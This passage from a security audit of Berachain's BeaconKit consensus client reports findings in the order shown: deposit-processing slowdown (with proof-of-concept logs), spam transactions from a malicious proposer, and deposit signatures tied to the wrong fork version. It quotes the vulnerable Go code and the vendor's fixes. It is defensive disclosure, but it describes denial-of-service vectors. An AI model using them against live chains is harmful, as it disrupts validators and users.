2025-01-15 23:00:05 2025-01-16T04:00:05Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=200005 spent=1850.229466
2025-01-15 23:00:55 2025-01-16T04:00:55Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=205005 spent=2092.675842
2025-01-15 23:01:34 2025-01-16T04:01:34Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=205005 spent=1852.223663
2025-01-15 23:01:50 2025-01-16T04:01:50Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=210005 spent=2718.222190
2025-01-15 23:02:28 2025-01-16T04:02:28Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=210005 spent=1951.560868
2025-01-15 23:03:10 2025-01-16T04:03:10Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=215005 spent=1964.351112
2025-01-15 23:03:56 2025-01-16T04:03:56Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=220005 spent=2056.762961
2025-01-15 23:04:54 2025-01-16T04:04:54Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=225005 spent=2027.556577
2025-01-15 23:05:46 2025-01-16T04:05:46Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=230005 spent=2259.515937
2025-01-15 23:06:31 2025-01-16T04:06:31Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=235005 spent=2076.440634
2025-01-15 23:07:07 2025-01-16T04:07:07Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=235005 spent=2069.357505
2025-01-15 23:07:51 2025-01-16T04:07:51Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=240005 spent=2169.999743
2025-01-15 23:08:39 2025-01-16T04:08:39Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=245005 spent=2329.228364
2025-01-15 23:09:38 2025-01-16T04:09:38Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=250005 spent=2235.818165
2025-01-15 23:10:26 2025-01-16T04:10:26Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=255005 spent=2465.090236
2025-01-15 23:11:08 2025-01-16T04:11:08Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=255005 spent=2264.290122
2025-01-15 23:11:24 2025-01-16T04:11:24Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=260005 spent=2234.800635
2025-01-15 23:12:00 2025-01-16T04:12:00Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=260005 spent=2345.410538
2025-01-15 23:12:46 2025-01-16T04:12:46Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=265005 spent=2297.426049
2025-01-15 23:13:55 2025-01-16T04:13:55Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=270005 spent=2485.947574
2025-01-15 23:15:04 2025-01-16T04:15:04Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=275005 spent=2595.513094
2025-01-15 23:15:56 2025-01-16T04:15:56Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=280005 spent=3010.266515

```

We can clearly see how the chain is slowly bleeding to death, timing out (Timed out module=consensus dur=6500 height=71 round=7 step=RoundStepPropose), building a block at every minute when reaching around 200k deposits. At some point I think the chain would halt, or pretty much, like producing a block every hours or so. The fact that I'm allowing 5k deposits to be processed per block doesn't affect the logic really, that just helps to produce the problem faster which is to accumulate more deposits overall. As soon as the GetDepositsByIndex is taking around 1500ms (around 150k deposits), the chain start to degrade drastically.

Recommendation: Unsure how ETH 2.0 handle this, but I don't think it does the same. If they do, at least they have a huge mitigation as requiring 32 ETH per minimum stake which is a considerable amount of capital. Still, today Ethereum has about 1M validator, if all those would be 32 ETH, here in PrepareProposal

you would need to do a loop of 1M, which doesn't make sense. Well Ethereum Beacon chain is not instant finality either, maybe that helps, it's 13 min.

You need to divide and conquer on this issue. Every proposal that processes deposits should start hashing from the last deposits and simply continue from the last one, not start hashing from the beginning at each block.

Berachain: Acknowledged. Considering implementation fixes for the future.

3.2.2 Malicious proposer can include additional transactions in BeaconBlock

Submitted by [Christoph Michel](#)

Severity: Medium Risk

Context: [finalize_block.go#L63](#)

Description: A malicious proposer can include additional transactions in BeaconBlock besides the BeaconBlock and Sidecars transaction. These are essentially ignored but the code still iterates over them and sets their transaction result to invalid in FinalizeBlock.

```
// Iterate over all raw transactions in the proposal and attempt to execute
// them, gathering the execution results.
//
// NOTE: Not all raw transactions may adhere to the sdk.Tx interface, e.g.
// vote extensions, so skip those.
txResults := make([]*cmtabci.ExecTxResult, len(req.Txs))
for i := range req.Txs {
    //nolint:mnd // its okay for now.
    txResults[i] = &cmtabci.ExecTxResult{
        Codespace: "sdk",
        Code:       2,
        Log:        "skip decoding",
        GasWanted:  0,
        GasUsed:    0,
    }
}
```

Impact Explanation: Medium - A malicious proposer includes spam transactions to reach the block limit of CometBFT (currently 4MiB but needs to be changed to around 100 MiB, see other issues).

All validators are required to accept and store the block, shrinking the available disk space, while performing unnecessary computations by iterating over all transactions and allocating memory for their results. A hash must be computed over the returned transaction results (LastResultsHash included in next block header).

Likelihood Explanation: Medium - There's some incentive by hoping to crash competitors' nodes that run on weaker hardware or delay their block production to get them slashed (in the future).

Recommendation: As there's no use of any other cometBFT transactions right now, consider verifying that the transaction list length is 2, disabling any additional transactions.

Berachain: Fixed in commit [36741168](#).

3.2.3 Deposits are invalid across forks

Submitted by [Christoph Michel](#)

Severity: Medium Risk

Context: [state_processor_staking.go#L188](#)

Description: When processing deposits, the validators perform a proof of possession by checking that the public key signed the message (pubkey, credentials, amount, DOMAIN_DEPOSIT ++ forkRoot). BeaconKit uses the active fork version of the current block:

```
// Verify that the message was signed correctly.
err = dep.VerifySignature(
    ctypes.NewForkData(
        version.FromUint32[common.Version](
            sp.cs.ActiveForkVersionForEpoch(epoch),
        ), genesisValidatorsRoot,
    ),
    sp.cs.DomainTypeDeposit(),
    sp.signer.VerifySignature,
)
```

According to the [consensus spec](#), the *genesis* fork version must be used:

Let signature be the result of `bls.Sign` of the `compute_signing_root(deposit_message, domain)` with `domain=compute_domain(DOMAIN_DEPOSIT)`. (*Warning: Deposits must be signed with GENESIS_FORK_VERSION, calling compute_domain without a second argument defaults to the correct version*). <https://github.com/ethereum/consensus-specs/blob/dev/specs/phase0/validator.md#submit-deposit>

```
# - see compute_domain(DOMAIN_DEPOSIT) being called without a second argument
# - https://github.com/ethereum/consensus-specs/blob/dev/specs/phase0/beacon-chain.md#deposits
def apply_deposit(state: BeaconState,
    pubkey: BLSPubkey,
    withdrawal_credentials: Bytes32,
    amount: uint64,
    signature: BLSSignature
) -> None:
    validator_pubkeys = [v.pubkey for v in state.validators]
    if pubkey not in validator_pubkeys:
        # Verify the deposit signature (proof of possession) which is not checked by the deposit contract
        deposit_message = DepositMessage(
            pubkey=pubkey,
            withdrawal_credentials=withdrawal_credentials,
            amount=amount,
        )
        domain = compute_domain(DOMAIN_DEPOSIT) # Fork-agnostic domain since deposits are valid across forks
        signing_root = compute_signing_root(deposit_message, domain)
        if bls.Verify(pubkey, signing_root, signature):
            add_validator_to_registry(state, pubkey, withdrawal_credentials, amount)
```

Impact Explanation: High - Users don't know when their deposit will be included and processed by the validators. (The deposit processing here refers to the consensus processing in `repo/state-transition/core/state_processor_staking.go:processDeposit`, not to being included in an EVM payload.) BeaconKit makes users sign the *current*, active fork version. If there is a fork version change between when the user signed it and when the deposit is processed, the signature will be invalid and the users lose their deposits.

Likelihood Explanation: Medium - Fork version changes naturally happen and any user who is unlucky to deposit close to a fork version boundary loses their entire deposit.

1. `ActiveForkVersionForEpoch` currently defines 3 different forks already: Deneb, DenebPlus, Electra.
2. It can take a while until the transactions are mined, they might be in the mem pool for a long time.
3. Furthermore, once the EVM transaction is included in an EVM payload, deposits in BeaconKit's consensus are not guaranteed to be processed immediately and can be delayed. Naturally because of the max deposit limit per block, or on purpose, see other issue "No requirement to include deposits in BeaconBlock".

Recommendation: The validators must verify the signature over the genesis fork version and users must sign over it.

Berachain: Fixed in commit [36741168](#).